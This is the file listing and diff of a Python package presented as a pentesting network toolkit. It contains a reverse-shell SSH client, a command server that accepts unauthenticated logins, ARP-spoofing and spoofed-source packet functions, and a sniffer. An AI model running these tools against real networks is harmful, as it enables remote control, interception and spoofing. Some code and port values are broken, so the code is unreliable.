Neutron-Engine 0.1.0__py3-none-any.whl

NeutronEngine/IPAddressNeutron/LocalAddressNeutron.py

@@ -0,0 +1,119 @@
+import socket, ipaddress, os, re, subprocess, platform, netifaces
+
+class LocalAddressNeutron:
+    
+    """
+    Module for work with network 
+    """
+    
+    @staticmethod
+    def get_local_ip() -> str:
+        
+        """
+        Defines your local ip in your network.
+        
+        Args: not.
+        """
+        
+        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        try:
+            sock.connect(('8.8.8.8', 1))
+            ip = sock.getsockname()[0]
+        except Exception:
+            ip = '127.0.0.1'
+        finally:
+            sock.close()
+        return ip
+
+    @staticmethod
+    def gen_network() -> str:
+        
+        """
+        Return network and netmask in formate CIDR for active interface
+        
+        Example: 'your_ip.0/24' or '10.0.0.0/8'
+        """
+        
+        ip = LocalAddressNeutron.get_local_ip()
+        for iface in netifaces.interfaces():
+          addrs = netifaces.ifaddresses(iface)
+          if netifaces.AF_INET in addrs:
+            for addr in addrs[netifaces.AF_INET]:
+                if addr.get('addr') == ip:
+                    netmask = addr.get('netmask')
+                    if netmask:
+                        network = ipaddress.IPv4Network(f"{ip}/{netmask}", strict=False)
+                        return str(network)
+                    
+        parts = ip.split('.')
+        return f"{parts[0]}.{parts[1]}.{parts[2]}.0/24"
+
+    
+    @staticmethod
+    def scan_arp(timeout=1) -> list:
+        
+        """
+        Scanning local network through cache ARP.
+        He performs command 'arp -a' and print her result, for getting list ip addresses and their mac addresses
+        
+        Args: timeout=1 (it's already worth it)
+        
+        Example: 
+         >>> result = LocalAddressNeutron.scan_arp()
+         >>> print(result) 
+         
+        Example print:
+          192.168.1.1           aa:bb:cc:dd:ee:ff     dynamic
+          192.168.1.50          11:22:33:44:55:66     dynamic
+        
+        """
+        
+        result = []
+        try:
+            output = subprocess.check_output(['arp', '-a'], timeout=timeout, text=True)
+            lines = output.splitlines()
+            for line in lines:
+                match = re.search(r'(\d+\.\d+\.\d+\.\d+)\s+([a-fA-F0-9\-]+)', line)
+                if match:
+                    ip = match.group(1)
+                    mac = match.group(2)
+                    result.append({'ip': ip, 'mac': mac})
+        except Exception:
+            pass
+        return result
+    
+    @staticmethod
+    def ping(ip: str, timeout=1):
+        
+      """
+      It's special utility ping (Packet Internet Groper), she sends ICMP request on ip and answer.
+      
+      Args:
+        ip (str): ip address,
+        timeout=1 (it's already worth it)
+        
+      Example:
+        >>> ping = LocalAddressNeutron.ping('127.0.0.1')
+        >>> print(ping)
+        
+      Example print:
+        True 'or' False
+      """
+      
+      if platform.system().lower() == 'windows':
+        timeout_ms = timeout * 1000
+        cmd = ['ping', '-n', '1', '-w', str(timeout_ms), ip]
+      else:
+        cmd = ['ping', '-c', '1', '-W', str(timeout), ip]
+    
+      try:
+        subprocess.run(cmd, capture_output=True, timeout=timeout + 0.5)
+        return True
+      except subprocess.TimeoutExpired:
+        return False
+      except Exception:
+        return False
+            
+            
+    
+    

NeutronEngine/IPAddressNeutron/MetaPublicAddressNeutron.py

@@ -0,0 +1,46 @@
+import requests
+
+class MetaPublicAddressNeutron:
+    
+    """
+    Module for meta information about public ip address
+    """
+    
+    @staticmethod
+    def get_meta_public_ip(timeout: float) -> dict:
+        
+        """
+        Return meta information about public ip address: address, country, city, provider, coordinates.
+        
+        For getting meta information we are using site http://ip-api.com/json/
+        
+        Args:
+          timeout (float): seconds timeout
+          
+        For request: need work WI-FI , if not WI-FI - won't get answer and get error 
+        
+        Example:
+          >>> answer = MetaPublicAddressNeutron.get_meta_public_ip(5.0)
+          >>> print(answer)
+
+        
+        """
+        
+        try:
+            r = requests.get('http://ip-api.com/json/', timeout=timeout)
+            data = r.json()
+            if data.get('status') == 'success':
+                return {'ip': data['query'],
+                       'country': data['country'],
+                       'city': data['city'],
+                       'isp': data['isp'],
+                       'lat': data['lat'],
+                       'lon': data['lon']}
+            
+            else:
+                return None
+                
+        except Exception as e:
+            return f'Error connection with site http://ip-api.com/json/. Try again.\nError: {e}'
+        
+        

NeutronEngine/IPAddressNeutron/PublicAddressNeutron.py

@@ -0,0 +1,36 @@
+import requests
+
+class PublicAddressNeutron:
+  
+    """
+    Module for public ip address
+    """
+    
+    @staticmethod
+    def get_public_ip(timeout: float) -> str:
+      
+        """
+        Defines your public address by sending request on site https://api.ipify.org and getting answer, then return answer.
+        
+        Formate: IPv4
+        
+        Args:
+          timeout (float): seconds timeout
+        
+        For request: need work WI-FI , if not WI-FI - won't get answer and get error 
+        
+        Example:
+          >>> answer = PublicAddressNeutron.get_public_ip(5.0)
+          >>> print(answer)
+          
+        Example print:
+          192.0.2.125
+        """
+        
+        try:
+          return requests.get('https://api.ipify.org', timeout=timeout).text.strip()
+        except Exception as e:
+            return f'Error connection with site https://api.ipify.org. Try again.\nError: {e}'
+        
+        
+        

NeutronEngine/IPAddressNeutron/__init__.py

@@ -0,0 +1,6 @@
+from .LocalAddressNeutron import LocalAddressNeutron
+from .PublicAddressNeutron import PublicAddressNeutron
+from .MetaPublicAddressNeutron import MetaPublicAddressNeutron
+
+__all__ = ['LocalAddressNeutron', 'PublicAddressNeutron', 'MetaPublicAddressNeutron']
+

NeutronEngine/RemoteNeutron/ClientNeutron.py

@@ -0,0 +1,35 @@
+import paramiko, sys
+
+def ssh_command(ip: str, port: int, username: str, password: str, cmd: str):
+    
+    """
+    Simple SSH client for connecting a remote SSH server and executing a command.
+    
+    Args:
+      ip (str): ip address of the ssh server
+      port (int): number port of the ssh server
+      username (str): username of the ssh server
+      password (str): password of the ssh serevr
+      cmd (str): command for the ssh server
+
+    Example:
+      ssh_command('127.0.0.1', 2222, 'user', 'pass', 'whoami' )
+    """
+    
+    client = paramiko.SSHClient()
+    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    client.connect(ip, port=port, username=username, password=password)
+
+    try:
+        client.connect(ip, port=port, username=username, password=password)
+        stdin, stdout, stderr = client.exec_command(cmd)
+        output = stdout.read().decode()
+        error = stderr.read().decode()
+        if output:
+            print(output.strip())
+        if error:
+            print(error.strip(), file=sys.stderr)
+    except Exception as e:
+        print(f"Connection failed: {e}")
+    finally:
+        client.close()

NeutronEngine/RemoteNeutron/ClientReverseNeutron.py

@@ -0,0 +1,43 @@
+import paramiko, subprocess
+
+def ssh_shell(ip: str, port: int, username: str, password: str, timeout_pause: float):
+    
+     
+    """
+    Reverse Shell SSH client for connecting a remote SSH server and executing a command.
+    
+    Args:
+      ip (str): ip address of the ssh server
+      port (int): number port of the ssh server
+      username (str): username of the ssh server
+      password (str): password of the ssh serevr
+      timeout_pause (float): time to pause between commands in seconds
+      
+    Example:
+      >>> ssh_shell('127.0.0.1', 2222, 'user', 'pass', 5)
+
+    """
+    
+    client = paramiko.SSHClient()
+    client.set_missing_host_key_policy(paramiko.WarningPolicy())
+    client.connect(ip, port=port, username=username, password=password, allow_agent=False, look_for_keys=False, timeout=10)
+    session = client.get_transport().open_session()
+    session.send("Client Connection\n")
+    print("Reverse shell ready.")
+    
+    while True:
+        data = session.recv(1024)
+        if not data:
+            break
+        cmd = data.decode('utf-8').strip()
+        if cmd.lower() == 'exit':
+            break
+        
+        try:
+            result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout_pause)
+            output = result.stdout + result.stderr or 'OK\n'
+            session.send(output)
+        except Exception as e:
+            print(f"Error: {e}\n")
+    
+    client.close()

NeutronEngine/RemoteNeutron/ServerNeutron.py

@@ -0,0 +1,155 @@
+import paramiko
+import os
+import threading
+import socket
+from cryptography.hazmat.primitives.asymmetric import rsa
+from cryptography.hazmat.primitives import serialization
+
+class SSHServer:
+    
+    """
+    Module for run SSH server using module 'paramiko'
+    For rsa key we are using module 'cryptography'
+    
+    """
+    
+    def __init__(self, host='0.0.0.0', port=2222, key_file=None):
+        self.host = host
+        self.port = port
+        self.key_file = key_file or self._generate_key()
+        self.host_key = paramiko.RSAKey(filename=self.key_file)
+
+    def _generate_key(self):
+        
+        """
+        Generation rsa key
+        
+        File = 'rsa_private.pem'
+        Public Exponent = 65537
+        Size key = 2048
+        
+        Formate = TraditionOpenSSL
+        """
+        
+        key_file = "rsa_private.pem"
+        if not os.path.exists(key_file):
+            key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
+            with open(key_file, 'wb') as f:
+                f.write(key.private_bytes(
+                    encoding=serialization.Encoding.PEM,
+                    format=serialization.PrivateFormat.TraditionalOpenSSL,
+                    encryption_algorithm=serialization.NoEncryption()
+                ))
+        return key_file
+
+    class _Handler(paramiko.ServerInterface):
+        def __init__(self, auth_callback):
+            super().__init__()
+            self.event = threading.Event()
+            self.auth_callback = auth_callback
+
+        def check_channel_request(self, kind, chanid):
+            if kind == 'session':
+                return paramiko.OPEN_SUCCEEDED
+            return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
+
+        def check_auth_none(self, username):
+            return paramiko.AUTH_SUCCESSFUL
+
+        def check_auth_password(self, username, password):
+            if self.auth_callback and self.auth_callback(username, password):
+                return paramiko.AUTH_SUCCESSFUL
+            return paramiko.AUTH_FAILED
+
+    def start(self, auth_callback=None, command_callback=None):
+        
+        """
+        Start a SSH server and accepts connections.
+        
+        Host: 0.0.0.0
+        Port: 2222 (we aren't using ssh port 22, but using another port)
+
+        Args:
+          auth_callback: None (default)
+          command_callback: None (default)
+          
+        Recommendations:
+          For authorizations connections need create function auth
+
+        Example:
+          >>> def auth(username, password):
+          >>>   return username == 'user' and password == 'pass' # It's simple auth, but may using through environment or file
+          >>> server = SSHServer(host='0.0.0.0', port=2222)
+          >>> server.start(auth_callback=auth)
+          
+          
+        How plug client:
+          1. There are two options: Reverse Shell (ClientReverseNeutron) and Simple Client (ClientNeutron)
+          2. Choose an option
+          3. Follow the paragraph 'Example' in your version
+
+          
+        
+        """
+        
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        sock.bind((self.host, self.port))
+        sock.listen(100)
+        print(f"SSH Server launched on {self.host}:{self.port}")
+
+        while True:
+            client, addr = sock.accept()
+            print(f"Connect from {addr}")
+            transport = paramiko.Transport(client)
+            transport.add_server_key(self.host_key)
+
+            server = self._Handler(auth_callback)
+            try:
+                transport.start_server(server=server)
+            except Exception as e:
+                print(f"Error: {e}")
+                continue
+
+            chan = transport.accept(20)
+            if chan is None:
+                continue
+            print("Authentication completed")
+            chan.send("Welcome to SSH Server!\n")
+
+            if command_callback is None:
+                print("Interactive mode. Type commands for client ('exit' to quit)")
+                while True:
+                    cmd = input("cmd> ")
+                    if cmd.lower() == 'exit':
+                        chan.send('exit\n')
+                        break
+                    chan.send(cmd + '\n')
+                    try:
+                        result = b''
+                        while True:
+                            chunk = chan.recv(4096)
+                            if not chunk:
+                                break
+                            result += chunk
+                            if len(chunk) < 4096:
+                                break
+                        print(result.decode('utf-8', errors='ignore'), end='')
+                    except Exception as e:
+                        print(f"Error receiving result: {e}")
+                        break
+            else:
+                while True:
+                    try:
+                        command = chan.recv(1024).decode('utf-8').strip()
+                        if not command or command == 'exit':
+                            chan.send("Goodbye\n")
+                            break
+                        if command_callback:
+                            command_callback(chan, command)
+                        else:
+                            chan.send(f"Unknown command: {command}\n")
+                    except Exception:
+                        break
+
+            transport.close()

NeutronEngine/RemoteNeutron/__init__.py

@@ -0,0 +1,5 @@
+from .ClientNeutron import ssh_command
+from .ClientReverseNeutron import ssh_shell
+from .ServerNeutron import SSHServer
+
+__all__ = ['ssh_command', 'ssh_shell', 'SSHServer']

NeutronEngine/TCPNeutron/TCPClient.py

@@ -0,0 +1,33 @@
+import socket
+
+class TCPClient:
+    """
+    Module for create TCP client.
+    """
+    
+    @staticmethod
+    def send(ip: str, port: int, message: bytes, timeout: float = 5.0) -> bytes:
+        """
+        Send a message to a TCP server and return the response
+        
+        Args:
+          ip (str): ip address,
+          port (int): port number,
+          message (bytes): message to send,
+          timeout (float): socket timeout in seconds
+          
+        Return:
+          bytes: response from the server
+          
+        Example:
+          >>> response = TCPClient.send('127.0.0.1', 8888, b'Hello World!', 5.0) # timeout it is not necessary to specify.
+          >>> print(response)
+          b'Hello World!'
+        """
+        
+        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client:
+            client.timeout(timeout)
+            client.connect((ip, port))
+            client.sendall(message)
+            return client.recvfrom(4096)
+        

NeutronEngine/TCPNeutron/TCPServer.py

@@ -0,0 +1,66 @@
+import socket
+import threading
+
+class TCPServer:
+    """
+    Module for creating TCP server.
+    """
+    
+    run = False
+
+    @staticmethod
+    def start(ip: str, port: int, backlog: int = 5) -> None:
+        """
+        Start a TCP server.
+
+        Args:
+            ip (str): ip adress
+            port (int): port number
+            backlog (int): maximum number of queued connections
+
+        Example:
+            >>> TCPServer.start('127.0.0.1', 8888, 20)
+        """
+        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        server.bind((ip, port))
+        server.listen(backlog)
+        server.settimeout(1.0)
+        TCPServer.run = True
+
+        while TCPServer.run:
+            try:
+              client, addr = server.accept()
+              threading.Thread(target=TCPServer._handle_client, args=(client, addr)).start()
+            except socket.timeout:
+                continue
+            
+    @staticmethod
+    def _handle_client(client: socket.socket, addr: tuple) -> None:
+        """
+        Private method to handle individual client connections.
+
+        Args:
+            client (socket.socket): Client socket object.
+            addr (tuple): Client address (ip, port).
+        """
+        print(f"Accepted connection from {addr}")
+        with client:
+            data = client.recv(1024)
+            if data:
+                print(f"Received: {data.decode('utf-8')}")
+                client.sendall(b"OK")
+                
+                
+    @staticmethod
+    def stop() -> None:
+        """
+        Stop a TCP server.
+        Args: not
+        """
+        
+        TCPServer.run = False
+        
+        
+        
+                
+        

NeutronEngine/TCPNeutron/__init__.py

@@ -0,0 +1,4 @@
+from .TCPServer import TCPServer
+from .TCPClient import TCPClient
+
+__all__ = ['TCPServer', 'TCPClient']

NeutronEngine/UDPNeutron/UDPClient.py

@@ -0,0 +1,31 @@
+import socket
+
+class UDPClient:
+    """Simple UDP client for sending datagrams without establishing a connection.
+
+    This class provides a static method to send raw bytes to a specified
+    UDP server. It automatically creates a temporary socket, sends the data,
+    and closes the socket immediately after.
+    """
+
+    @staticmethod
+    def send(message: bytes, ip: str, port: int):
+        """
+        Sends a UDP datagram to the specified address and port.
+
+        The socket is created, used once, and then automatically closed
+        (thanks to the `with` statement). No response is expected or received.
+
+        Args:
+            message (bytes): The raw bytes to send. Strings must be encoded
+                             (e.g., `b'Hello'` or `'Hello'.encode('utf-8')`).
+            ip (str): Destination IPv4 address (e.g., '127.0.0.1').
+            port (int): Destination port number.
+
+        Example:
+            >>> UDPClient.send(b'Hello', '192.168.1.50', 9999)
+            >>> UDPClient.send('Ping'.encode('utf-8'), '8.8.8.8', 53)
+        """
+        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
+           
+            sock.sendto(message, (ip, port))

NeutronEngine/UDPNeutron/UDPServer.py

@@ -0,0 +1,63 @@
+import socket
+import threading
+
+class UDPServer:
+    """
+    Module for create UDP server
+    """
+    
+    run = False
+    
+    @staticmethod
+    def start(ip: str, port: int) -> None:
+        """
+        Start a UDP server.
+        
+        Args:
+          ip (str): ip address,
+          port (int): port number
+          
+        Example:
+          >>> UDPServer.server('127.0.0.1', 8888)
+        """
+        server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        server.bind((ip, port))
+        server.settimeout(1.0)
+        UDPServer.run = True
+        
+        while UDPServer.run:
+            try:
+                data, addr = server.recvfrom(4096)
+                threading.Thread(targeе=UDPServer._handle_datagram, args=(data, addr)).start()
+            except socket.timeout:
+                continue
+    
+    @staticmethod
+    def stop() -> None:
+        """Stop a UDP server.
+        
+        Args: not
+        """
+        
+        UDPServer.run = False
+        
+    @staticmethod
+    def _handle_datagram(data: bytes, addr: tuple) -> None:
+        
+        """
+        Handles an incoming UDP datagram.
+        
+        Args:
+          data (bytes): The raw bytes received from the client.
+          addr (tuple): A tuple (ip_address, port) of the client.
+
+        Example:
+          If a client sends "Hello", the output will be:
+          Received: Hello
+          
+        """
+        print(f"Received: {data.decode('utf-8')}")
+
+    
+        
+        

NeutronEngine/UDPNeutron/__init__.py

@@ -0,0 +1,4 @@
+from .UDPServer import UDPServer
+from .UDPClient import UDPClient
+
+__all__ = ['UDPServer', 'UDPClient']

NeutronEngine/VisionNeutron/ArperNeutron.py

@@ -0,0 +1,33 @@
+from scapy.all import ARP, send, Ether
+
+class ArperNeutron:
+    
+    """
+    Module for methods to send forged ARP packets.
+    
+    At the moment there is one method: 'spoof()' without 'restore()', but method 'restore()' will appear soon.
+    """
+    
+    @staticmethod
+    def spoof(target: str, gateway: str, iface: str = None) -> None:
+        
+        """
+        Sends ARP spoofing packets to a target and the gateway.
+        
+        Args:
+          target (str): ip address of the target
+          gateway (str): ip address of the gateway (router)
+          iface (str): network interface name (example: 'wlan0', 'eth0'), but default iface = None
+          
+        Example:
+          ArperNeutron.spoof('192.168.1.10', '192.168.1.1', iface='eth0')
+
+        Return:
+          None
+        """
+        
+        packet_target = ARP(op=2, pdst=target, hwdst='ff:ff:ff:ff:ff:ff', psrc=gateway)
+        packet_gateway = ARP(op=2, pdst=gateway, hwdst='ff:ff:ff:ff:ff:ff', psrc=target)
+        send(packet_target, iface=iface, verbose=False)
+        send(packet_gateway, iface=iface, verbose=False)
+        

NeutronEngine/VisionNeutron/FiltersNeutron.py

@@ -0,0 +1,34 @@
+class FiltersNeutron:
+    
+    """
+    It's filters for SniffNeutron (attribute: filters).
+    """
+    
+    # === FILTERS FOR SERVICE === #
+    FILTER_SERVICE_HTTP = 'tcp port 80'
+    FILTER_SERVICE_HTTPS = 'tcp port 443'
+    FILTER_SERVICE_DNS = 'tcp port 53'
+    FILTER_SERVICE_SSH = 'tcp port 22'
+    FILTER_SERVICE_FTP_DATA = 'tcp port 20'
+    FILTER_SERVICE_FTP_MANAGEMENT = 'tcp port 21'
+    FILTER_SERVICE_POP3 = 'tcp port 110'
+    FILTER_SERVICE_SMTP = 'tcp port 25'
+    FILTER_SERVICE_IMAP = 'tcp port 143'
+    FILTER_SERVICE_DHCP_SERVER = 'tcp port 67'
+    FILTER_SERVICE_DHCP_CLIENT = 'tcp port 68'
+    FILTER_SERVICE_SOCKS = 'tcp port 1080'
+    FILTER_SERVICE_OPENVPN = 'tcp port 1194'
+    FILTER_SERVICE_TELNET = 'tcp port 23'
+    FILTER_SERVICE_POSTGRESQL = 'tcp port 543'
+    FILTER_SERVICE_MSSQL = 'tcp port 1433'
+    FILTER_SERVICE_MSSQL_MONITORING = 'tcp port 1434'
+    FILTER_SERVICE_ORACLE = 'tcp port 1521'
+    FILTER_SERVICE_ORIENTDB = 'tcp port 2424'
+    FILTER_SERVICE_MONGODB = 'tcp port 27017'
+    FILTER_SERVICE_MONGODB_WEB = 'tcp port 28017'
+    FILTER_SERVICE_MYSQL = 'tcp port 28017'
+    FILTER_SERVICE_COUCHDB = 'tcp port 5984'
+    FILTER_SERVICE_INFLUXDB = 'tcp port 8086'
+    FILTER_SERVICE_MQTT_SSL = 'tcp port 8883'
+    FILTER_SERVICE_GIT = 'tcp port 9418'
+    FILTER_SERVICE_BITCOIN = 'tcp port 8883'

NeutronEngine/VisionNeutron/SenderNeutron.py

@@ -0,0 +1,60 @@
+from scapy.all import send, IP, TCP, UDP, ICMP
+
+class SenderNeutron:
+    """
+    Packet sender toolkit for crafting and sending custom network packets.
+
+    This class provides static methods to send TCP, UDP, and ICMP packets
+    with spoofable source IP addresses and ports.
+    """
+
+    @staticmethod
+    def sender_tcp(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: str = ""):
+        """
+        Sends a custom TCP packet.
+
+        Args:
+            src_ip (str): Source IP address (can be spoofed).
+            dst_ip (str): Destination IP address.
+            src_port (int): Source port number.
+            dst_port (int): Destination port number.
+            payload (str, optional): Data to send inside the TCP segment. Defaults to empty string.
+
+        Example:
+            >>> SenderNeutron.sender_tcp('1.2.3.4', '93.184.216.34', 12345, 80, 'GET / HTTP/1.1')
+        """
+        packet = IP(src=src_ip, dst=dst_ip) / TCP(sport=src_port, dport=dst_port) / payload
+        send(packet, verbose=False)
+
+    @staticmethod
+    def sender_udp(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: str = ""):
+        """
+        Sends a custom UDP datagram.
+
+        Args:
+            src_ip (str): Source IP address (can be spoofed).
+            dst_ip (str): Destination IP address.
+            src_port (int): Source port number.
+            dst_port (int): Destination port number.
+            payload (str, optional): Data to send inside the UDP datagram. Defaults to empty string.
+
+        Example:
+            >>> SenderNeutron.sender_udp('1.2.3.4', '8.8.8.8', 54321, 53, b'\\x00\\x01')
+        """
+        packet = IP(src=src_ip, dst=dst_ip) / UDP(sport=src_port, dport=dst_port) / payload
+        send(packet, verbose=False)
+
+    @staticmethod
+    def sender_icmp(dst: str, payload: bytes = b''):
+        """
+        Sends a custom ICMP Echo Request (ping) packet.
+
+        Args:
+            dst (str): Destination IP address.
+            payload (bytes, optional): Custom data to attach to the ICMP packet. Defaults to empty.
+
+        Example:
+            >>> SenderNeutron.sender_icmp('8.8.8.8', b'ping')
+        """
+        packet = IP(dst=dst) / ICMP() / payload
+        send(packet, verbose=False)

NeutronEngine/VisionNeutron/SniffNeutron.py

@@ -0,0 +1,43 @@
+from scapy.all import sniff
+
+class SniffNeutron:
+    """Packet sniffer with support for BPF filters and custom callbacks.
+
+    This class provides a simple interface to capture network packets
+    using Scapy's sniff() function. It supports interface selection,
+    BPF filters, and prints packet summaries by default.
+    """
+
+    @staticmethod
+    def start(count: int, iface: str = None, filters: str = None):
+        """
+        Captures a specified number of network packets.
+
+        Args:
+            count (int): Number of packets to capture.
+            iface (str, optional): Network interface name (e.g., 'eth0', 'wlan0').
+                                   If None, Scapy automatically chooses the default.
+            filters (str, optional): BPF filter string (e.g., 'tcp port 80').
+
+        Returns:
+            list: A list of captured Packet objects.
+
+        Example:
+            >>> # Capture 10 HTTP packets
+            >>> packets = SniffNeutron.start(10, filters='tcp port 80'
+            >>> packets = SniffNeutron.start(5, iface='wlan0')
+        """
+        packets = sniff(count=count, iface=iface, filter=filters, prn=SniffNeutron._callback)
+        return packets
+
+    @staticmethod
+    def _callback(packet):
+        """
+        Internal callback function called for each captured packet.
+
+        Prints a one-line summary of the packet (e.g., 'Ether / IP / TCP 192.168.1.1:80 > 192.168.1.50:54321').
+
+        Args:
+            packet: A Scapy packet object.
+        """
+        print(packet.summary())

NeutronEngine/VisionNeutron/__init__.py

@@ -0,0 +1,6 @@
+from .ArperNeutron import ArperNeutron
+from .FiltersNeutron import FiltersNeutron
+from .SenderNeutron import SenderNeutron
+from .SniffNeutron import SniffNeutron
+
+__all__ = ['ArperNeutron', 'FiltersNeutron', 'SenderNeutron', 'SniffNeutron']

NeutronEngine/__init__.py

@@ -0,0 +1,22 @@
+from .TCPNeutron.TCPClient import TCPClient
+from .TCPNeutron.TCPServer import TCPServer
+from .UDPNeutron.UDPServer import UDPServer
+from .UDPNeutron.UDPClient import UDPClient
+
+from .VisionNeutron.SenderNeutron import SenderNeutron
+from .VisionNeutron.SniffNeutron import SniffNeutron
+from .VisionNeutron.ArperNeutron import ArperNeutron
+from .VisionNeutron.FiltersNeutron import FiltersNeutron
+
+from .RemoteNeutron.ServerNeutron import SSHServer
+from .RemoteNeutron.ClientNeutron import ssh_command
+from .RemoteNeutron.ClientReverseNeutron import ssh_shell
+
+from .IPAddressNeutron.LocalAddressNeutron import LocalAddressNeutron
+from .IPAddressNeutron.PublicAddressNeutron import PublicAddressNeutron
+from .IPAddressNeutron.MetaPublicAddressNeutron import MetaPublicAddressNeutron
+
+__all__ = ['TCPClient', 'TCPServer', 'UDPServer', 'UDPClient',
+           'SenderNeutron', 'SniffNeutron', 'ArperNeutron', 'FiltersNeutron',
+           'SSHServer', 'ssh_command', 'ssh_shell',
+           'LocalAddressNeutron', 'PublicAddressNeutron', 'MetaPublicAddressNeutron']

neutron_engine-0.1.0.dist-info/METADATA

@@ -0,0 +1,93 @@
+Metadata-Version: 2.4
+Name: Neutron-Engine
+Version: 0.1.0
+Summary: Network toolkit for pentesting: TCP/UDP, sniffer, ARP-spoof, SSH, port scan, IP geolocation.
+Author-email: Alexx-coder <alexx-coder@internet.ru>
+License: Apache-2.0
+Project-URL: Homepage, https://github.com/Alexx-coder/Neutron-Engine
+Project-URL: Repository, https://github.com/Alexx-coder/Neutron-Engine.git
+Project-URL: Issues, https://github.com/Alexx-coder/Neutron-Engine/issues
+Keywords: network,security,pentesting,scanner,sniffer,ssh,arp
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: Apache Software License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Topic :: System :: Networking
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+License-File: LICENSE
+License-File: NOTICE
+Requires-Dist: scapy>=2.5.0
+Requires-Dist: paramiko>=3.0.0
+Requires-Dist: netifaces>=0.11.0
+Requires-Dist: requests>=2.28.0
+Provides-Extra: dev
+Requires-Dist: pytest>=8.0; extra == "dev"
+Requires-Dist: black>=24.0; extra == "dev"
+Requires-Dist: mypy>=1.10; extra == "dev"
+Requires-Dist: ruff>=0.6.0; extra == "dev"
+Dynamic: license-file
+
+# **Neutron Engine**
+[![Apache License 2.0](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) 
+
+
+**Neutron Engine** – `network toolkit for pentesting: TCP/UDP, sniffer, ARP-spoof, SSH, port scan, IP geolocation.`
+
+> **Developer: `Alexx-coder or alexx (GitHub)`**
+
+> **Version: `0.1.0`**
+
+> **License: `Apache License 2.0`**
+
+> **[Neutron Engine on GitHub](https://github.com/Alexx-coder/Neutron-Engine.git)**
+
+> **Install:**
+
+```bash
+pip install Neutron-Engine
+```
+
+## Acknowledgements
+
+**This project uses:**
+
+- **[Scapy](https://github.com/secdev/scapy) `(GPL-2.0)`**
+
+- **[Paramiko](https://github.com/paramiko/paramiko) `(LGPL-2.1)`**
+
+- **[Netifaces](https://github.com/al45tair/netifaces) `(MIT)`**
+
+- **[Requests](https://github.com/psf/requests) `(Apache-2.0)`**
+
+---
+
+
+# **Modules**
+
+- **IPAddressNeutron** – local/public IP, network scanning
+- **RemoteNeutron** – SSH client & server
+- **TCPNeutron** – TCP client/server
+- **UDPNeutron** – UDP client/server
+- **VisionNeutron** – ARP spoofing, packet sniffer and sender
+
+
+# Example
+
+> **The documentation is available in the docstrings**
+
+> **If you want to see docstring: need use a help(NeutronEngine) in python**
+
+```python
+from NeutronEngine.VisionNeutron import SniffNeutron
+packets = SniffNeutron.start(10, filters='tcp port 80')
+for packet in packets:
+    print(packet.summary())
+```
+

neutron_engine-0.1.0.dist-info/RECORD

@@ -0,0 +1,26 @@
+NeutronEngine/__init__.py,sha256=pkqPcAqOW7ajALC-f97xr7RVD4I5lAKtcNTcLYH1TY0,1081
+NeutronEngine/IPAddressNeutron/LocalAddressNeutron.py,sha256=0K0-9CrxYSGugTEMtnR4tX_N8K_XrAg1NyXf9aixPtc,3536
+NeutronEngine/IPAddressNeutron/MetaPublicAddressNeutron.py,sha256=8fXqhtoY4XPNsYSV-fLtM8beNOLYE0dVTuLz1Uxgqfg,1434
+NeutronEngine/IPAddressNeutron/PublicAddressNeutron.py,sha256=hFhrxd4RaD-W4K3DCj4mTNdOrtbGH083VO_CDYT_eRg,981
+NeutronEngine/IPAddressNeutron/__init__.py,sha256=-Nei59em9xTj-z7YxwHva-vroAhfVlxkvxTE84hwFKw,265
+NeutronEngine/RemoteNeutron/ClientNeutron.py,sha256=Xe5WE6t1Bk7WuM0uANWVCUOUC8Sh0-8xpPrBweZOCS4,1186
+NeutronEngine/RemoteNeutron/ClientReverseNeutron.py,sha256=iiH_GKa0y54L-_wle0J8AF6NbcsLa9OgY3P5k5K5ZAQ,1488
+NeutronEngine/RemoteNeutron/ServerNeutron.py,sha256=OthRBW2sHvwNPadZ61iAEQTcdAlIGJUgFYWBcFT8XQs,5616
+NeutronEngine/RemoteNeutron/__init__.py,sha256=rOvGbZN7MH5l20CIY7RKGSAmtsOoCzwluSBUSi4t3HQ,176
+NeutronEngine/TCPNeutron/TCPClient.py,sha256=yJHkRbTOcFi6XIBXdWpX4GUmoEa9wY1gtMXlMgPcdec,1011
+NeutronEngine/TCPNeutron/TCPServer.py,sha256=ZB2gD3DI117PiBco7wQX561Tpw1nPkMqP0p8ON-ozr4,1749
+NeutronEngine/TCPNeutron/__init__.py,sha256=In_lElrLwZG0GYJaMWJaTaXcocwOGCR1UFArbDfrVVw,106
+NeutronEngine/UDPNeutron/UDPClient.py,sha256=o3PhSKi51h1QbF_YNzC8pbCEhpVKHpMws_JipdfPfa8,1221
+NeutronEngine/UDPNeutron/UDPServer.py,sha256=6nMAmSrHToLOk5_jSC8voSKWn_pI4wpD3qAxyb2Hq9M,1542
+NeutronEngine/UDPNeutron/__init__.py,sha256=7-8B3mDDpc_vbdzmMfa0Y-GPzKmaXc7hDFTKd9O7bg8,106
+NeutronEngine/VisionNeutron/ArperNeutron.py,sha256=vlTOluKOCEQJHAArZzV9rjM3UdA_n5v7UOvWT1FRrzk,1141
+NeutronEngine/VisionNeutron/FiltersNeutron.py,sha256=hfANOuqqCvx6ZaYC25_rgZNjzDo1tNz50ja73eLXqf8,1369
+NeutronEngine/VisionNeutron/SenderNeutron.py,sha256=8ixkN-cQ5ysN-b_BXogXc4iEMGMZvcrQ4xEC6GwXk0U,2305
